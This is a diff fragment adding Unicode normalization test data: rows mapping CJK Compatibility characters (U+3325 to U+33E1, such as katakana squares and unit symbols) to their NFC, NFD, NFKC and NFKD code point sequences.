+{ source: [0x3325], NFC: [0x3325], NFD: [0x3325], NFKC: [0x30C7, 0x30B7], NFKD: [0x30C6, 0x3099, 0x30B7] },
+{ source: [0x3326], NFC: [0x3326], NFD: [0x3326], NFKC: [0x30C9, 0x30EB], NFKD: [0x30C8, 0x3099, 0x30EB] },
+{ source: [0x3327], NFC: [0x3327], NFD: [0x3327], NFKC: [0x30C8, 0x30F3], NFKD: [0x30C8, 0x30F3] },
+{ source: [0x3328], NFC: [0x3328], NFD: [0x3328], NFKC: [0x30CA, 0x30CE], NFKD: [0x30CA, 0x30CE] },
+{ source: [0x3329], NFC: [0x3329], NFD: [0x3329], NFKC: [0x30CE, 0x30C3, 0x30C8], NFKD: [0x30CE, 0x30C3, 0x30C8] },
+{ source: [0x332A], NFC: [0x332A], NFD: [0x332A], NFKC: [0x30CF, 0x30A4, 0x30C4], NFKD: [0x30CF, 0x30A4, 0x30C4] },
+{ source: [0x332B], NFC: [0x332B], NFD: [0x332B], NFKC: [0x30D1, 0x30FC, 0x30BB, 0x30F3, 0x30C8], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x332C], NFC: [0x332C], NFD: [0x332C], NFKC: [0x30D1, 0x30FC, 0x30C4], NFKD: [0x30CF, 0x309A, 0x30FC, 0x30C4] },
+{ source: [0x332D], NFC: [0x332D], NFD: [0x332D], NFKC: [0x30D0, 0x30FC, 0x30EC, 0x30EB], NFKD: [0x30CF, 0x3099, 0x30FC, 0x30EC, 0x30EB] },
+{ source: [0x332E], NFC: [0x332E], NFD: [0x332E], NFKC: [0x30D4, 0x30A2, 0x30B9, 0x30C8, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30A2, 0x30B9, 0x30C8, 0x30EB] },
+{ source: [0x332F], NFC: [0x332F], NFD: [0x332F], NFKC: [0x30D4, 0x30AF, 0x30EB], NFKD: [0x30D2, 0x309A, 0x30AF, 0x30EB] },
+{ source: [0x3330], NFC: [0x3330], NFD: [0x3330], NFKC: [0x30D4, 0x30B3], NFKD: [0x30D2, 0x309A, 0x30B3] },
+{ source: [0x3331], NFC: [0x3331], NFD: [0x3331], NFKC: [0x30D3, 0x30EB], NFKD: [0x30D2, 0x3099, 0x30EB] },
+{ source: [0x3332], NFC: [0x3332], NFD: [0x3332], NFKC: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C9], NFKD: [0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C8, 0x3099] },
+{ source: [0x3333], NFC: [0x3333], NFD: [0x3333], NFKC: [0x30D5, 0x30A3, 0x30FC, 0x30C8], NFKD: [0x30D5, 0x30A3, 0x30FC, 0x30C8] },
+{ source: [0x3334], NFC: [0x3334], NFD: [0x3334], NFKC: [0x30D6, 0x30C3, 0x30B7, 0x30A7, 0x30EB], NFKD: [0x30D5, 0x3099, 0x30C3, 0x30B7, 0x30A7, 0x30EB] },
+{ source: [0x3335], NFC: [0x3335], NFD: [0x3335], NFKC: [0x30D5, 0x30E9, 0x30F3], NFKD: [0x30D5, 0x30E9, 0x30F3] },
+{ source: [0x3336], NFC: [0x3336], NFD: [0x3336], NFKC: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB], NFKD: [0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB] },
+{ source: [0x3337], NFC: [0x3337], NFD: [0x3337], NFKC: [0x30DA, 0x30BD], NFKD: [0x30D8, 0x309A, 0x30BD] },
+{ source: [0x3338], NFC: [0x3338], NFD: [0x3338], NFKC: [0x30DA, 0x30CB, 0x30D2], NFKD: [0x30D8, 0x309A, 0x30CB, 0x30D2] },
+{ source: [0x3339], NFC: [0x3339], NFD: [0x3339], NFKC: [0x30D8, 0x30EB, 0x30C4], NFKD: [0x30D8, 0x30EB, 0x30C4] },
+{ source: [0x333A], NFC: [0x333A], NFD: [0x333A], NFKC: [0x30DA, 0x30F3, 0x30B9], NFKD: [0x30D8, 0x309A, 0x30F3, 0x30B9] },
+{ source: [0x333B], NFC: [0x333B], NFD: [0x333B], NFKC: [0x30DA, 0x30FC, 0x30B8], NFKD: [0x30D8, 0x309A, 0x30FC, 0x30B7, 0x3099] },
+{ source: [0x333C], NFC: [0x333C], NFD: [0x333C], NFKC: [0x30D9, 0x30FC, 0x30BF], NFKD: [0x30D8, 0x3099, 0x30FC, 0x30BF] },
+{ source: [0x333D], NFC: [0x333D], NFD: [0x333D], NFKC: [0x30DD, 0x30A4, 0x30F3, 0x30C8], NFKD: [0x30DB, 0x309A, 0x30A4, 0x30F3, 0x30C8] },
+{ source: [0x333E], NFC: [0x333E], NFD: [0x333E], NFKC: [0x30DC, 0x30EB, 0x30C8], NFKD: [0x30DB, 0x3099, 0x30EB, 0x30C8] },
+{ source: [0x333F], NFC: [0x333F], NFD: [0x333F], NFKC: [0x30DB, 0x30F3], NFKD: [0x30DB, 0x30F3] },
+{ source: [0x3340], NFC: [0x3340], NFD: [0x3340], NFKC: [0x30DD, 0x30F3, 0x30C9], NFKD: [0x30DB, 0x309A, 0x30F3, 0x30C8, 0x3099] },
+{ source: [0x3341], NFC: [0x3341], NFD: [0x3341], NFKC: [0x30DB, 0x30FC, 0x30EB], NFKD: [0x30DB, 0x30FC, 0x30EB] },
+{ source: [0x3342], NFC: [0x3342], NFD: [0x3342], NFKC: [0x30DB, 0x30FC, 0x30F3], NFKD: [0x30DB, 0x30FC, 0x30F3] },
+{ source: [0x3343], NFC: [0x3343], NFD: [0x3343], NFKC: [0x30DE, 0x30A4, 0x30AF, 0x30ED], NFKD: [0x30DE, 0x30A4, 0x30AF, 0x30ED] },
+{ source: [0x3344], NFC: [0x3344], NFD: [0x3344], NFKC: [0x30DE, 0x30A4, 0x30EB], NFKD: [0x30DE, 0x30A4, 0x30EB] },
+{ source: [0x3345], NFC: [0x3345], NFD: [0x3345], NFKC: [0x30DE, 0x30C3, 0x30CF], NFKD: [0x30DE, 0x30C3, 0x30CF] },
+{ source: [0x3346], NFC: [0x3346], NFD: [0x3346], NFKC: [0x30DE, 0x30EB, 0x30AF], NFKD: [0x30DE, 0x30EB, 0x30AF] },
+{ source: [0x3347], NFC: [0x3347], NFD: [0x3347], NFKC: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3], NFKD: [0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3] },
+{ source: [0x3348], NFC: [0x3348], NFD: [0x3348], NFKC: [0x30DF, 0x30AF, 0x30ED, 0x30F3], NFKD: [0x30DF, 0x30AF, 0x30ED, 0x30F3] },
+{ source: [0x3349], NFC: [0x3349], NFD: [0x3349], NFKC: [0x30DF, 0x30EA], NFKD: [0x30DF, 0x30EA] },
+{ source: [0x334A], NFC: [0x334A], NFD: [0x334A], NFKC: [0x30DF, 0x30EA, 0x30D0, 0x30FC, 0x30EB], NFKD: [0x30DF, 0x30EA, 0x30CF, 0x3099, 0x30FC, 0x30EB] },
+{ source: [0x334B], NFC: [0x334B], NFD: [0x334B], NFKC: [0x30E1, 0x30AC], NFKD: [0x30E1, 0x30AB, 0x3099] },
+{ source: [0x334C], NFC: [0x334C], NFD: [0x334C], NFKC: [0x30E1, 0x30AC, 0x30C8, 0x30F3], NFKD: [0x30E1, 0x30AB, 0x3099, 0x30C8, 0x30F3] },
+{ source: [0x334D], NFC: [0x334D], NFD: [0x334D], NFKC: [0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x334E], NFC: [0x334E], NFD: [0x334E], NFKC: [0x30E4, 0x30FC, 0x30C9], NFKD: [0x30E4, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x334F], NFC: [0x334F], NFD: [0x334F], NFKC: [0x30E4, 0x30FC, 0x30EB], NFKD: [0x30E4, 0x30FC, 0x30EB] },
+{ source: [0x3350], NFC: [0x3350], NFD: [0x3350], NFKC: [0x30E6, 0x30A2, 0x30F3], NFKD: [0x30E6, 0x30A2, 0x30F3] },
+{ source: [0x3351], NFC: [0x3351], NFD: [0x3351], NFKC: [0x30EA, 0x30C3, 0x30C8, 0x30EB], NFKD: [0x30EA, 0x30C3, 0x30C8, 0x30EB] },
+{ source: [0x3352], NFC: [0x3352], NFD: [0x3352], NFKC: [0x30EA, 0x30E9], NFKD: [0x30EA, 0x30E9] },
+{ source: [0x3353], NFC: [0x3353], NFD: [0x3353], NFKC: [0x30EB, 0x30D4, 0x30FC], NFKD: [0x30EB, 0x30D2, 0x309A, 0x30FC] },
+{ source: [0x3354], NFC: [0x3354], NFD: [0x3354], NFKC: [0x30EB, 0x30FC, 0x30D6, 0x30EB], NFKD: [0x30EB, 0x30FC, 0x30D5, 0x3099, 0x30EB] },
+{ source: [0x3355], NFC: [0x3355], NFD: [0x3355], NFKC: [0x30EC, 0x30E0], NFKD: [0x30EC, 0x30E0] },
+{ source: [0x3356], NFC: [0x3356], NFD: [0x3356], NFKC: [0x30EC, 0x30F3, 0x30C8, 0x30B2, 0x30F3], NFKD: [0x30EC, 0x30F3, 0x30C8, 0x30B1, 0x3099, 0x30F3] },
+{ source: [0x3357], NFC: [0x3357], NFD: [0x3357], NFKC: [0x30EF, 0x30C3, 0x30C8], NFKD: [0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3358], NFC: [0x3358], NFD: [0x3358], NFKC: [0x0030, 0x70B9], NFKD: [0x0030, 0x70B9] },
+{ source: [0x3359], NFC: [0x3359], NFD: [0x3359], NFKC: [0x0031, 0x70B9], NFKD: [0x0031, 0x70B9] },
+{ source: [0x335A], NFC: [0x335A], NFD: [0x335A], NFKC: [0x0032, 0x70B9], NFKD: [0x0032, 0x70B9] },
+{ source: [0x335B], NFC: [0x335B], NFD: [0x335B], NFKC: [0x0033, 0x70B9], NFKD: [0x0033, 0x70B9] },
+{ source: [0x335C], NFC: [0x335C], NFD: [0x335C], NFKC: [0x0034, 0x70B9], NFKD: [0x0034, 0x70B9] },
+{ source: [0x335D], NFC: [0x335D], NFD: [0x335D], NFKC: [0x0035, 0x70B9], NFKD: [0x0035, 0x70B9] },
+{ source: [0x335E], NFC: [0x335E], NFD: [0x335E], NFKC: [0x0036, 0x70B9], NFKD: [0x0036, 0x70B9] },
+{ source: [0x335F], NFC: [0x335F], NFD: [0x335F], NFKC: [0x0037, 0x70B9], NFKD: [0x0037, 0x70B9] },
+{ source: [0x3360], NFC: [0x3360], NFD: [0x3360], NFKC: [0x0038, 0x70B9], NFKD: [0x0038, 0x70B9] },
+{ source: [0x3361], NFC: [0x3361], NFD: [0x3361], NFKC: [0x0039, 0x70B9], NFKD: [0x0039, 0x70B9] },
+{ source: [0x3362], NFC: [0x3362], NFD: [0x3362], NFKC: [0x0031, 0x0030, 0x70B9], NFKD: [0x0031, 0x0030, 0x70B9] },
+{ source: [0x3363], NFC: [0x3363], NFD: [0x3363], NFKC: [0x0031, 0x0031, 0x70B9], NFKD: [0x0031, 0x0031, 0x70B9] },
+{ source: [0x3364], NFC: [0x3364], NFD: [0x3364], NFKC: [0x0031, 0x0032, 0x70B9], NFKD: [0x0031, 0x0032, 0x70B9] },
+{ source: [0x3365], NFC: [0x3365], NFD: [0x3365], NFKC: [0x0031, 0x0033, 0x70B9], NFKD: [0x0031, 0x0033, 0x70B9] },
+{ source: [0x3366], NFC: [0x3366], NFD: [0x3366], NFKC: [0x0031, 0x0034, 0x70B9], NFKD: [0x0031, 0x0034, 0x70B9] },
+{ source: [0x3367], NFC: [0x3367], NFD: [0x3367], NFKC: [0x0031, 0x0035, 0x70B9], NFKD: [0x0031, 0x0035, 0x70B9] },
+{ source: [0x3368], NFC: [0x3368], NFD: [0x3368], NFKC: [0x0031, 0x0036, 0x70B9], NFKD: [0x0031, 0x0036, 0x70B9] },
+{ source: [0x3369], NFC: [0x3369], NFD: [0x3369], NFKC: [0x0031, 0x0037, 0x70B9], NFKD: [0x0031, 0x0037, 0x70B9] },
+{ source: [0x336A], NFC: [0x336A], NFD: [0x336A], NFKC: [0x0031, 0x0038, 0x70B9], NFKD: [0x0031, 0x0038, 0x70B9] },
+{ source: [0x336B], NFC: [0x336B], NFD: [0x336B], NFKC: [0x0031, 0x0039, 0x70B9], NFKD: [0x0031, 0x0039, 0x70B9] },
+{ source: [0x336C], NFC: [0x336C], NFD: [0x336C], NFKC: [0x0032, 0x0030, 0x70B9], NFKD: [0x0032, 0x0030, 0x70B9] },
+{ source: [0x336D], NFC: [0x336D], NFD: [0x336D], NFKC: [0x0032, 0x0031, 0x70B9], NFKD: [0x0032, 0x0031, 0x70B9] },
+{ source: [0x336E], NFC: [0x336E], NFD: [0x336E], NFKC: [0x0032, 0x0032, 0x70B9], NFKD: [0x0032, 0x0032, 0x70B9] },
+{ source: [0x336F], NFC: [0x336F], NFD: [0x336F], NFKC: [0x0032, 0x0033, 0x70B9], NFKD: [0x0032, 0x0033, 0x70B9] },
+{ source: [0x3370], NFC: [0x3370], NFD: [0x3370], NFKC: [0x0032, 0x0034, 0x70B9], NFKD: [0x0032, 0x0034, 0x70B9] },
+{ source: [0x3371], NFC: [0x3371], NFD: [0x3371], NFKC: [0x0068, 0x0050, 0x0061], NFKD: [0x0068, 0x0050, 0x0061] },
+{ source: [0x3372], NFC: [0x3372], NFD: [0x3372], NFKC: [0x0064, 0x0061], NFKD: [0x0064, 0x0061] },
+{ source: [0x3373], NFC: [0x3373], NFD: [0x3373], NFKC: [0x0041, 0x0055], NFKD: [0x0041, 0x0055] },
+{ source: [0x3374], NFC: [0x3374], NFD: [0x3374], NFKC: [0x0062, 0x0061, 0x0072], NFKD: [0x0062, 0x0061, 0x0072] },
+{ source: [0x3375], NFC: [0x3375], NFD: [0x3375], NFKC: [0x006F, 0x0056], NFKD: [0x006F, 0x0056] },
+{ source: [0x3376], NFC: [0x3376], NFD: [0x3376], NFKC: [0x0070, 0x0063], NFKD: [0x0070, 0x0063] },
+{ source: [0x3377], NFC: [0x3377], NFD: [0x3377], NFKC: [0x0064, 0x006D], NFKD: [0x0064, 0x006D] },
+{ source: [0x3378], NFC: [0x3378], NFD: [0x3378], NFKC: [0x0064, 0x006D, 0x0032], NFKD: [0x0064, 0x006D, 0x0032] },
+{ source: [0x3379], NFC: [0x3379], NFD: [0x3379], NFKC: [0x0064, 0x006D, 0x0033], NFKD: [0x0064, 0x006D, 0x0033] },
+{ source: [0x337A], NFC: [0x337A], NFD: [0x337A], NFKC: [0x0049, 0x0055], NFKD: [0x0049, 0x0055] },
+{ source: [0x337B], NFC: [0x337B], NFD: [0x337B], NFKC: [0x5E73, 0x6210], NFKD: [0x5E73, 0x6210] },
+{ source: [0x337C], NFC: [0x337C], NFD: [0x337C], NFKC: [0x662D, 0x548C], NFKD: [0x662D, 0x548C] },
+{ source: [0x337D], NFC: [0x337D], NFD: [0x337D], NFKC: [0x5927, 0x6B63], NFKD: [0x5927, 0x6B63] },
+{ source: [0x337E], NFC: [0x337E], NFD: [0x337E], NFKC: [0x660E, 0x6CBB], NFKD: [0x660E, 0x6CBB] },
+{ source: [0x337F], NFC: [0x337F], NFD: [0x337F], NFKC: [0x682A, 0x5F0F, 0x4F1A, 0x793E], NFKD: [0x682A, 0x5F0F, 0x4F1A, 0x793E] },
+{ source: [0x3380], NFC: [0x3380], NFD: [0x3380], NFKC: [0x0070, 0x0041], NFKD: [0x0070, 0x0041] },
+{ source: [0x3381], NFC: [0x3381], NFD: [0x3381], NFKC: [0x006E, 0x0041], NFKD: [0x006E, 0x0041] },
+{ source: [0x3382], NFC: [0x3382], NFD: [0x3382], NFKC: [0x03BC, 0x0041], NFKD: [0x03BC, 0x0041] },
+{ source: [0x3383], NFC: [0x3383], NFD: [0x3383], NFKC: [0x006D, 0x0041], NFKD: [0x006D, 0x0041] },
+{ source: [0x3384], NFC: [0x3384], NFD: [0x3384], NFKC: [0x006B, 0x0041], NFKD: [0x006B, 0x0041] },
+{ source: [0x3385], NFC: [0x3385], NFD: [0x3385], NFKC: [0x004B, 0x0042], NFKD: [0x004B, 0x0042] },
+{ source: [0x3386], NFC: [0x3386], NFD: [0x3386], NFKC: [0x004D, 0x0042], NFKD: [0x004D, 0x0042] },
+{ source: [0x3387], NFC: [0x3387], NFD: [0x3387], NFKC: [0x0047, 0x0042], NFKD: [0x0047, 0x0042] },
+{ source: [0x3388], NFC: [0x3388], NFD: [0x3388], NFKC: [0x0063, 0x0061, 0x006C], NFKD: [0x0063, 0x0061, 0x006C] },
+{ source: [0x3389], NFC: [0x3389], NFD: [0x3389], NFKC: [0x006B, 0x0063, 0x0061, 0x006C], NFKD: [0x006B, 0x0063, 0x0061, 0x006C] },
+{ source: [0x338A], NFC: [0x338A], NFD: [0x338A], NFKC: [0x0070, 0x0046], NFKD: [0x0070, 0x0046] },
+{ source: [0x338B], NFC: [0x338B], NFD: [0x338B], NFKC: [0x006E, 0x0046], NFKD: [0x006E, 0x0046] },
+{ source: [0x338C], NFC: [0x338C], NFD: [0x338C], NFKC: [0x03BC, 0x0046], NFKD: [0x03BC, 0x0046] },
+{ source: [0x338D], NFC: [0x338D], NFD: [0x338D], NFKC: [0x03BC, 0x0067], NFKD: [0x03BC, 0x0067] },
+{ source: [0x338E], NFC: [0x338E], NFD: [0x338E], NFKC: [0x006D, 0x0067], NFKD: [0x006D, 0x0067] },
+{ source: [0x338F], NFC: [0x338F], NFD: [0x338F], NFKC: [0x006B, 0x0067], NFKD: [0x006B, 0x0067] },
+{ source: [0x3390], NFC: [0x3390], NFD: [0x3390], NFKC: [0x0048, 0x007A], NFKD: [0x0048, 0x007A] },
+{ source: [0x3391], NFC: [0x3391], NFD: [0x3391], NFKC: [0x006B, 0x0048, 0x007A], NFKD: [0x006B, 0x0048, 0x007A] },
+{ source: [0x3392], NFC: [0x3392], NFD: [0x3392], NFKC: [0x004D, 0x0048, 0x007A], NFKD: [0x004D, 0x0048, 0x007A] },
+{ source: [0x3393], NFC: [0x3393], NFD: [0x3393], NFKC: [0x0047, 0x0048, 0x007A], NFKD: [0x0047, 0x0048, 0x007A] },
+{ source: [0x3394], NFC: [0x3394], NFD: [0x3394], NFKC: [0x0054, 0x0048, 0x007A], NFKD: [0x0054, 0x0048, 0x007A] },
+{ source: [0x3395], NFC: [0x3395], NFD: [0x3395], NFKC: [0x03BC, 0x006C], NFKD: [0x03BC, 0x006C] },
+{ source: [0x3396], NFC: [0x3396], NFD: [0x3396], NFKC: [0x006D, 0x006C], NFKD: [0x006D, 0x006C] },
+{ source: [0x3397], NFC: [0x3397], NFD: [0x3397], NFKC: [0x0064, 0x006C], NFKD: [0x0064, 0x006C] },
+{ source: [0x3398], NFC: [0x3398], NFD: [0x3398], NFKC: [0x006B, 0x006C], NFKD: [0x006B, 0x006C] },
+{ source: [0x3399], NFC: [0x3399], NFD: [0x3399], NFKC: [0x0066, 0x006D], NFKD: [0x0066, 0x006D] },
+{ source: [0x339A], NFC: [0x339A], NFD: [0x339A], NFKC: [0x006E, 0x006D], NFKD: [0x006E, 0x006D] },
+{ source: [0x339B], NFC: [0x339B], NFD: [0x339B], NFKC: [0x03BC, 0x006D], NFKD: [0x03BC, 0x006D] },
+{ source: [0x339C], NFC: [0x339C], NFD: [0x339C], NFKC: [0x006D, 0x006D], NFKD: [0x006D, 0x006D] },
+{ source: [0x339D], NFC: [0x339D], NFD: [0x339D], NFKC: [0x0063, 0x006D], NFKD: [0x0063, 0x006D] },
+{ source: [0x339E], NFC: [0x339E], NFD: [0x339E], NFKC: [0x006B, 0x006D], NFKD: [0x006B, 0x006D] },
+{ source: [0x339F], NFC: [0x339F], NFD: [0x339F], NFKC: [0x006D, 0x006D, 0x0032], NFKD: [0x006D, 0x006D, 0x0032] },
+{ source: [0x33A0], NFC: [0x33A0], NFD: [0x33A0], NFKC: [0x0063, 0x006D, 0x0032], NFKD: [0x0063, 0x006D, 0x0032] },
+{ source: [0x33A1], NFC: [0x33A1], NFD: [0x33A1], NFKC: [0x006D, 0x0032], NFKD: [0x006D, 0x0032] },
+{ source: [0x33A2], NFC: [0x33A2], NFD: [0x33A2], NFKC: [0x006B, 0x006D, 0x0032], NFKD: [0x006B, 0x006D, 0x0032] },
+{ source: [0x33A3], NFC: [0x33A3], NFD: [0x33A3], NFKC: [0x006D, 0x006D, 0x0033], NFKD: [0x006D, 0x006D, 0x0033] },
+{ source: [0x33A4], NFC: [0x33A4], NFD: [0x33A4], NFKC: [0x0063, 0x006D, 0x0033], NFKD: [0x0063, 0x006D, 0x0033] },
+{ source: [0x33A5], NFC: [0x33A5], NFD: [0x33A5], NFKC: [0x006D, 0x0033], NFKD: [0x006D, 0x0033] },
+{ source: [0x33A6], NFC: [0x33A6], NFD: [0x33A6], NFKC: [0x006B, 0x006D, 0x0033], NFKD: [0x006B, 0x006D, 0x0033] },
+{ source: [0x33A7], NFC: [0x33A7], NFD: [0x33A7], NFKC: [0x006D, 0x2215, 0x0073], NFKD: [0x006D, 0x2215, 0x0073] },
+{ source: [0x33A8], NFC: [0x33A8], NFD: [0x33A8], NFKC: [0x006D, 0x2215, 0x0073, 0x0032], NFKD: [0x006D, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33A9], NFC: [0x33A9], NFD: [0x33A9], NFKC: [0x0050, 0x0061], NFKD: [0x0050, 0x0061] },
+{ source: [0x33AA], NFC: [0x33AA], NFD: [0x33AA], NFKC: [0x006B, 0x0050, 0x0061], NFKD: [0x006B, 0x0050, 0x0061] },
+{ source: [0x33AB], NFC: [0x33AB], NFD: [0x33AB], NFKC: [0x004D, 0x0050, 0x0061], NFKD: [0x004D, 0x0050, 0x0061] },
+{ source: [0x33AC], NFC: [0x33AC], NFD: [0x33AC], NFKC: [0x0047, 0x0050, 0x0061], NFKD: [0x0047, 0x0050, 0x0061] },
+{ source: [0x33AD], NFC: [0x33AD], NFD: [0x33AD], NFKC: [0x0072, 0x0061, 0x0064], NFKD: [0x0072, 0x0061, 0x0064] },
+{ source: [0x33AE], NFC: [0x33AE], NFD: [0x33AE], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073] },
+{ source: [0x33AF], NFC: [0x33AF], NFD: [0x33AF], NFKC: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032], NFKD: [0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032] },
+{ source: [0x33B0], NFC: [0x33B0], NFD: [0x33B0], NFKC: [0x0070, 0x0073], NFKD: [0x0070, 0x0073] },
+{ source: [0x33B1], NFC: [0x33B1], NFD: [0x33B1], NFKC: [0x006E, 0x0073], NFKD: [0x006E, 0x0073] },
+{ source: [0x33B2], NFC: [0x33B2], NFD: [0x33B2], NFKC: [0x03BC, 0x0073], NFKD: [0x03BC, 0x0073] },
+{ source: [0x33B3], NFC: [0x33B3], NFD: [0x33B3], NFKC: [0x006D, 0x0073], NFKD: [0x006D, 0x0073] },
+{ source: [0x33B4], NFC: [0x33B4], NFD: [0x33B4], NFKC: [0x0070, 0x0056], NFKD: [0x0070, 0x0056] },
+{ source: [0x33B5], NFC: [0x33B5], NFD: [0x33B5], NFKC: [0x006E, 0x0056], NFKD: [0x006E, 0x0056] },
+{ source: [0x33B6], NFC: [0x33B6], NFD: [0x33B6], NFKC: [0x03BC, 0x0056], NFKD: [0x03BC, 0x0056] },
+{ source: [0x33B7], NFC: [0x33B7], NFD: [0x33B7], NFKC: [0x006D, 0x0056], NFKD: [0x006D, 0x0056] },
+{ source: [0x33B8], NFC: [0x33B8], NFD: [0x33B8], NFKC: [0x006B, 0x0056], NFKD: [0x006B, 0x0056] },
+{ source: [0x33B9], NFC: [0x33B9], NFD: [0x33B9], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x33BA], NFC: [0x33BA], NFD: [0x33BA], NFKC: [0x0070, 0x0057], NFKD: [0x0070, 0x0057] },
+{ source: [0x33BB], NFC: [0x33BB], NFD: [0x33BB], NFKC: [0x006E, 0x0057], NFKD: [0x006E, 0x0057] },
+{ source: [0x33BC], NFC: [0x33BC], NFD: [0x33BC], NFKC: [0x03BC, 0x0057], NFKD: [0x03BC, 0x0057] },
+{ source: [0x33BD], NFC: [0x33BD], NFD: [0x33BD], NFKC: [0x006D, 0x0057], NFKD: [0x006D, 0x0057] },
+{ source: [0x33BE], NFC: [0x33BE], NFD: [0x33BE], NFKC: [0x006B, 0x0057], NFKD: [0x006B, 0x0057] },
+{ source: [0x33BF], NFC: [0x33BF], NFD: [0x33BF], NFKC: [0x004D, 0x0057], NFKD: [0x004D, 0x0057] },
+{ source: [0x33C0], NFC: [0x33C0], NFD: [0x33C0], NFKC: [0x006B, 0x03A9], NFKD: [0x006B, 0x03A9] },
+{ source: [0x33C1], NFC: [0x33C1], NFD: [0x33C1], NFKC: [0x004D, 0x03A9], NFKD: [0x004D, 0x03A9] },
+{ source: [0x33C2], NFC: [0x33C2], NFD: [0x33C2], NFKC: [0x0061, 0x002E, 0x006D, 0x002E], NFKD: [0x0061, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33C3], NFC: [0x33C3], NFD: [0x33C3], NFKC: [0x0042, 0x0071], NFKD: [0x0042, 0x0071] },
+{ source: [0x33C4], NFC: [0x33C4], NFD: [0x33C4], NFKC: [0x0063, 0x0063], NFKD: [0x0063, 0x0063] },
+{ source: [0x33C5], NFC: [0x33C5], NFD: [0x33C5], NFKC: [0x0063, 0x0064], NFKD: [0x0063, 0x0064] },
+{ source: [0x33C6], NFC: [0x33C6], NFD: [0x33C6], NFKC: [0x0043, 0x2215, 0x006B, 0x0067], NFKD: [0x0043, 0x2215, 0x006B, 0x0067] },
+{ source: [0x33C7], NFC: [0x33C7], NFD: [0x33C7], NFKC: [0x0043, 0x006F, 0x002E], NFKD: [0x0043, 0x006F, 0x002E] },
+{ source: [0x33C8], NFC: [0x33C8], NFD: [0x33C8], NFKC: [0x0064, 0x0042], NFKD: [0x0064, 0x0042] },
+{ source: [0x33C9], NFC: [0x33C9], NFD: [0x33C9], NFKC: [0x0047, 0x0079], NFKD: [0x0047, 0x0079] },
+{ source: [0x33CA], NFC: [0x33CA], NFD: [0x33CA], NFKC: [0x0068, 0x0061], NFKD: [0x0068, 0x0061] },
+{ source: [0x33CB], NFC: [0x33CB], NFD: [0x33CB], NFKC: [0x0048, 0x0050], NFKD: [0x0048, 0x0050] },
+{ source: [0x33CC], NFC: [0x33CC], NFD: [0x33CC], NFKC: [0x0069, 0x006E], NFKD: [0x0069, 0x006E] },
+{ source: [0x33CD], NFC: [0x33CD], NFD: [0x33CD], NFKC: [0x004B, 0x004B], NFKD: [0x004B, 0x004B] },
+{ source: [0x33CE], NFC: [0x33CE], NFD: [0x33CE], NFKC: [0x004B, 0x004D], NFKD: [0x004B, 0x004D] },
+{ source: [0x33CF], NFC: [0x33CF], NFD: [0x33CF], NFKC: [0x006B, 0x0074], NFKD: [0x006B, 0x0074] },
+{ source: [0x33D0], NFC: [0x33D0], NFD: [0x33D0], NFKC: [0x006C, 0x006D], NFKD: [0x006C, 0x006D] },
+{ source: [0x33D1], NFC: [0x33D1], NFD: [0x33D1], NFKC: [0x006C, 0x006E], NFKD: [0x006C, 0x006E] },
+{ source: [0x33D2], NFC: [0x33D2], NFD: [0x33D2], NFKC: [0x006C, 0x006F, 0x0067], NFKD: [0x006C, 0x006F, 0x0067] },
+{ source: [0x33D3], NFC: [0x33D3], NFD: [0x33D3], NFKC: [0x006C, 0x0078], NFKD: [0x006C, 0x0078] },
+{ source: [0x33D4], NFC: [0x33D4], NFD: [0x33D4], NFKC: [0x006D, 0x0062], NFKD: [0x006D, 0x0062] },
+{ source: [0x33D5], NFC: [0x33D5], NFD: [0x33D5], NFKC: [0x006D, 0x0069, 0x006C], NFKD: [0x006D, 0x0069, 0x006C] },
+{ source: [0x33D6], NFC: [0x33D6], NFD: [0x33D6], NFKC: [0x006D, 0x006F, 0x006C], NFKD: [0x006D, 0x006F, 0x006C] },
+{ source: [0x33D7], NFC: [0x33D7], NFD: [0x33D7], NFKC: [0x0050, 0x0048], NFKD: [0x0050, 0x0048] },
+{ source: [0x33D8], NFC: [0x33D8], NFD: [0x33D8], NFKC: [0x0070, 0x002E, 0x006D, 0x002E], NFKD: [0x0070, 0x002E, 0x006D, 0x002E] },
+{ source: [0x33D9], NFC: [0x33D9], NFD: [0x33D9], NFKC: [0x0050, 0x0050, 0x004D], NFKD: [0x0050, 0x0050, 0x004D] },
+{ source: [0x33DA], NFC: [0x33DA], NFD: [0x33DA], NFKC: [0x0050, 0x0052], NFKD: [0x0050, 0x0052] },
+{ source: [0x33DB], NFC: [0x33DB], NFD: [0x33DB], NFKC: [0x0073, 0x0072], NFKD: [0x0073, 0x0072] },
+{ source: [0x33DC], NFC: [0x33DC], NFD: [0x33DC], NFKC: [0x0053, 0x0076], NFKD: [0x0053, 0x0076] },
+{ source: [0x33DD], NFC: [0x33DD], NFD: [0x33DD], NFKC: [0x0057, 0x0062], NFKD: [0x0057, 0x0062] },
+{ source: [0x33DE], NFC: [0x33DE], NFD: [0x33DE], NFKC: [0x0056, 0x2215, 0x006D], NFKD: [0x0056, 0x2215, 0x006D] },
+{ source: [0x33DF], NFC: [0x33DF], NFD: [0x33DF], NFKC: [0x0041, 0x2215, 0x006D], NFKD: [0x0041, 0x2215, 0x006D] },
+{ source: [0x33E0], NFC: [0x33E0], NFD: [0x33E0], NFKC: [0x0031, 0x65E5], NFKD: [0x0031, 0x65E5] },
+{ source: [0x33E1], NFC: [0x33E1], NFD: [0x33E1], NFKC: [0x0032, 0x65E5], NFKD: [0x0032, 0x65E5] },
